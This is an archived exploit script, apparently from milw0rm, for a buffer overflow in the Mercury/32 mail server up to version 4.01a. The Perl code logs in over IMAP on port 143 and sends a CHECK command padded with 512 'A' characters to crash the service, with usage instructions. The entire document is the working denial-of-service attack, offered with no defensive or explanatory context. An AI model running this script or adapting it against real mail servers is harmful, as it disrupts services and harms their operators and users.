Mercury/32 Mail Server <= 4.01a (check) Buffer Overflow Exploit

#===== Start Mercury32_Overflow.pl ===== # # Usage: Mercury32_Overflow.pl &#60;ip&#62; &#60;imap4 user&#62; &#60;imap4 pass&#62; # Mercury32_Overflow.pl 127.0.0.1 hello moto # # Mercury/32, v4.01a, Dec 8 2003 # # Download: # http://www.pmail.com/ # ############################################################# use IO::Socket; use strict; my($socket) = &#34;&#34;; if ($socket = IO::Socket::INET-&#62;new(PeerAddr =&#62; $ARGV[0], PeerPort =&#62; &#34;143&#34;, Proto =&#62; &#34;TCP&#34;)) { print &#34;Attempting to kill Mercury/32 service at $ARGV[0]:143...&#34;; sleep(1); print $socket &#34;0000 LOGIN $ARGV[1] $ARGV[2]\r\n&#34;; sleep(1); print $socket &#34;0001 CHECK &#34; . &#34;A&#34; x 512 . &#34;\r\n&#34;; close($socket); } else { print &#34;Cannot connect to $ARGV[0]:143\n&#34;; } #===== End Mercury32_Overflow.pl ===== # milw0rm.com [2004-12-01]